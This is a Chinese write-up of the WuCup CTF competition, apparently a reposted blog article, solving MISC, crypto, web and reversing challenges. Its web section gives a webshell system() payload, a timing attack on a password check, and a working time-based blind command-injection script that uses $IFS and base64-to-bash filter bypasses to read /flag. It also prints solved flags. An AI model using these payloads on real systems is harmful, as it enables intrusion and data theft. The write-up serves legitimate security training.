当前位置: 首页 > article >正文

WuCup网络安全技能大赛WP

MISC

Sign

签到题,我们打开外部链接,可以看到下面的一串字符

image-20241201190932618

显然是十六进制,我们找一个在线的十六进制转字符串进行解码就可以拿下简单的签到题了

411ee4bf087b221c3aadea2e34d35af3

原神启动

我们把附件下载下来,解压后如下所示

image-20241201191547841

我们首先用steg对原神启动.png进行分析,如下所示

image-20241201191742211

我们发现第一个密码WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a},我们拿去解密zip压缩包,得到一个docx文件,但是我们打开来什么都没有,这显然就是在考docx的隐写,我们将后缀改成zip解压即可

image-20241201192036975

接下来在word/media中发现另外一张图片,同样用steg进行处理,得到第二个密钥

image-20241201192220518

WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

解压文件夹后,我们得到一个text.zip文件

image-20241201192400493

仍然需要密码,我们再去寻找最后一个密码,我们在document.xml中发现了端倪,所以这就是我们最后的密码

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}

我们解密最后的压缩包,就可以拿到最后的flag,如下所示

image-20241201192940918

太极

首先我们点开外部链接,得到一串乱码,如下所示

[外链图片转存中…(img-10GEqKmd-1733103759750)]

显然是中文乱码了,我们转一下编码就可以了,得到下面一串字符

太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业

根据提示,我们将所有的拼音标出来,然后根据轮回原则,我们可以写出下面的东西

e66403855741b838dfe63f8d91304b56

最后拼成我们的flag即可,本题解出

旋转木马

我们将附件下载后,发现是两个很大的flag文件,我们分别打开,如下所示

[外链图片转存中…(img-kyDRG3OY-1733103759750)]

很大,一眼望不到头,直接给我notepad++干闪退了,老老实实用txt打开了,看着像一直用base64加密出来的东西,我们写个脚本解密吧,不然太大了,脚本如下所示

import base64
with open("flag1","r") as f1:
    res1 = f1.read()
with open("flag2","r") as f2:
    res2 = f2.read()
enc = res1 + res2
for i in range(53):
    enc = base64.b64decode(enc)
print(enc)

image-20241201195032786

得到一串像十六进制的东西,我们最后去16进制转字符串就可以了

image-20241201195123729

本题到此结束

Crypto

Easy

下载附件后,我们打开即可,查看附件,如下所示

image-20241201195453300

非常明显的RC4加密,而且密钥为hello world,我们直接找一个在线解密网站即可,将flag.txt的加密后的东西复制粘贴出来就可以了

[外链图片转存中…(img-CmlucS1t-1733103759751)]

WEB

Sign

打开容器

image-20241201195752930

提示我们passwd:sgin,我们可以联想到webshell的密码,我们尝试POSTsgin=system("ls /");即可

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现可以执行命令,我们直接读取flag

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

TimeCage

打开容器后,我们发现第一关代码如下

image-20241201200144902

显然猜是不可能的,我们肯定就要控制时间为0s的时候进行发送?input=114就可以成功绕过,我们这里可以选择写脚本进行时间控制,最简单的办法还是一直刷新,一分钟内能刷出来

image-20241201200415750

我们访问第二关,如下所示

image-20241201200453049

我们发现需要进行密码爆破,我们首先可以爆出密码位数,我们发现是8位,如下所示

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

8位的密码可以去爆破,但是时间太长了,我们可以发现作者在代码中留下了这句话

for($i = 0;$i < strlen($password); $i++){
        if($pass[$i] != $password[$i]){
            $isMatch = false;
            break;
        }
        sleep(1);
    } 

大概意思就是从左往右逐位检查密码是否正确,如果正确就休眠1s,我们可以根据返回延迟来测试密码是否正确,我们从左往右一位位修改我们的密码即可,最后我们测试出来的密码是

56983215

image-20241201201011836

来到我们的最后一关,源码如下所示

image-20241201201125138

我们发现是一个命令执行,且使用的执行函数是shell_exec,即无回显的命令执行,我们的常规思路有两种,一种是反弹shell,另外一种就是把flag写到别的文件里面,然后再通过url访问进行读取,但是两种方式我都尝试过了,都不行,应该是出题人限制了不能出网和不能写入文件夹,我们这里只能换一种思路,根据前两关的提示,我们联想到了时间盲注,linux中我们可以通过head -c n /flag | tail -c 1获取flag的第n个字符,我们就可以爆破这个字符,如果正确,我们就sleep 2进行一个延迟,上述过程用 shell 命令表示就是 [$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2,通过这个命令,我们就能通过响应时间的差异,逐步得到 flag 的所有内容

对于空格的过滤,我们可以使用$IFS$9进行空格绕过,其他特殊符号通过base64编码绕过,也就是 echo base64编码后的命令 | base64 -d | sh,我们最后的脚本如下所示

import requests
import base64
import string
import time
url = "http://challenge.wucup.cn:25706/EscapeEsc@p3Escape.php"
flag = ""
p1 = "echo$IFS$9"
p3 = "$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9bash"
for i in range(1,100):
    for c in string.printable:
        print(flag)
        p2 = "[ \"$(head -c " + str(i)  + " /flag | tail -c 1)\" = \"" + c + "\" ] && sleep 2"
        payload = (p1+base64.b64encode(p2.encode()).decode()+p3)
        time1 = time.time()
        data = {
            "cmd": payload
        }
        requests.post(url, data=data)
        time2 = time.time()
        if(time2-time1>1.9):
            flag+=c
            break
    print(flag)

最后我们得到运行结果,成功拿到flag

image-20241201202632968

Reverse

If you know

我们首先下载我们的miss文件,首先先用upx进行脱壳,如下所示

image-20241201204013478

接下来用IDA打开即可

[外链图片转存中…(img-V6WZaTBG-1733103759752)]

我们可以看到程序主逻辑如上所示,接下来我们就是要写脚本进行逆向求解即可,最后贴上我们的脚本

enc = [
  245,
  512,
  520,
  495,
  565,
  628,
  570,
  630,
  695,
  774,
  690,
  787,
  738,
  815,
  881,
  1088,
  824,
  1001,
  994,
  950,
  1031,
  1086,
  954,
  1012,
  1045,
  1139,
  1242,
  0
]
flag = ""
l = len(enc) - 1
for i in range(l-1,-1,-1):
    if (i & 1) == 0:
        for j in range(l):
            enc[j] = enc[j] - j - (i+1)
            enc[j] = enc[j] ^ j
    else:
        for j in range(l,-1,-1):
            enc[j] = enc[j] - j - (i+2)
            enc[j] = enc[j] ^ j
print(enc)
for i in enc:
    flag += chr(i)
print(flag)

这个脚本跑出来的结果如下所示

image-20241201205027030

[-146, 95, 49, 48, 118, 51, 95, 121, 48, 117, 95, 100, 51, 52, 114, 95, 49, 102, 95, 121, 48, 117, 95, 107, 110, 48, 119, -571]

我们这一串字符去掉头尾后根据意思进行爆破,第一位为i,最后爆破出来的flag,结果如下所示

WuCup{1_10v3_y0u_d34r_1f_y0u_kn0w}

http://www.kler.cn/a/420632.html

相关文章:

  • Redis+Caffeine 多级缓存数据一致性解决方案
  • 【AI系统】Ascend C 语法扩展
  • 存储过程案例详解与应用示例
  • VSCode如何关闭Vite项目本地自启动
  • 营业执照 OCR 识别 API 的发展前景
  • Vue教程|搭建vue项目|Vue-CLI2.x 模板脚手架
  • Java 单例模式:深度解析与应用
  • mysql线上问题集合
  • Stable Diffusion 3 论文
  • 淘宝商品数据获取:Python爬虫技术的应用与实践
  • 大数据营销
  • Flink四大基石之窗口(Window)使用详解
  • 如何实现人机环境之间动态交互的事实与价值编排组合
  • 前端面试热门题(二)[html\css\js\node\vue)
  • Docker 容器隔离关键技术:SELinux
  • el-table 组件二次封装(vue2)
  • 【MATLAB源码-第230期】基于matlab的32QAM系统相位偏移估计HOS算法仿真,对比补偿前后的星座图误码率。
  • 机器学习算法(六)---逻辑回归
  • Qt Serial Bus 前置介绍篇
  • ​导游|基于SprinBoot+vue的在线预约导游系统
  • 【Django-xadmin】
  • Git命令大全(超详细)
  • 技术创新与人才培养并重 软通动力子公司鸿湖万联亮相OpenHarmony人才生态大会
  • 【Redis初阶】Zset 有序集合
  • 704. 二分查找 C++
  • C# winform非常好用的图表开源控件Scottplot